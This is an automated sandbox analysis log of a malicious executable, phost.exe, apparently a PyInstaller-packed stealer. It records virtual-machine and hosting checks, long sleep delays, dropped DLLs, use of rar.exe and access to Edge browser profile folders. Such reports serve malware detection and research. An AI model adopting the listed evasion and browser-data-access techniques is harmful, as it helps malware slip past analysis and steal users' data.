Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\getmac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.3

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8399	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1114	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8523
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 992
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6452
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3189
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1851
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 770
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6121
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2515
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3955
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5800
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1258
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3771
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 574
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2854
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1368

Source: C:\Users\user\Desktop\phost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI32202\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI32202\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI32202\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI32202\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI32202\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI32202\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI32202\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI32202\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI32202\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI32202\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI32202\_socket.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.dll	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI32202\python312.dll	Jump to dropped file

Source: C:\Users\user\Desktop\phost.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-17382

Source: C:\Users\user\Desktop\phost.exe

API coverage: 6.2 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7404	Thread sleep count: 8399 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7396	Thread sleep count: 1114 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7496	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7408	Thread sleep count: 8523 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7416	Thread sleep count: 992 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7500	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7704	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8120	Thread sleep count: 6452 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8124	Thread sleep count: 3189 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8168	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7396	Thread sleep count: 1851 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7512	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7412	Thread sleep count: 770 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7380	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7544	Thread sleep count: 6121 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7436	Thread sleep count: 2515 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep time: -14757395258967632s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7968	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2020	Thread sleep count: 3955 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2028	Thread sleep count: 285 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7568	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7152	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7548	Thread sleep count: 5800 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7548	Thread sleep count: 1258 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7280	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8016	Thread sleep count: 3771 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8016	Thread sleep count: 574 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7248	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7268	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7252	Thread sleep count: 2854 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7252	Thread sleep count: 1368 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7992	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4284	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC792F0 FindFirstFileExW,FindClose,	0_2_00007FF62CC792F0
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC783B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF62CC783B0
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC918E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF62CC918E4
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC792F0 FindFirstFileExW,FindClose,	1_2_00007FF62CC792F0
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC918E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF62CC918E4
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCD46EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	105_2_00007FF6BBCD46EC
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCCE21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	105_2_00007FF6BBCCE21C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD188E0 FindFirstFileExA,	105_2_00007FF6BBD188E0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\	Jump to behavior
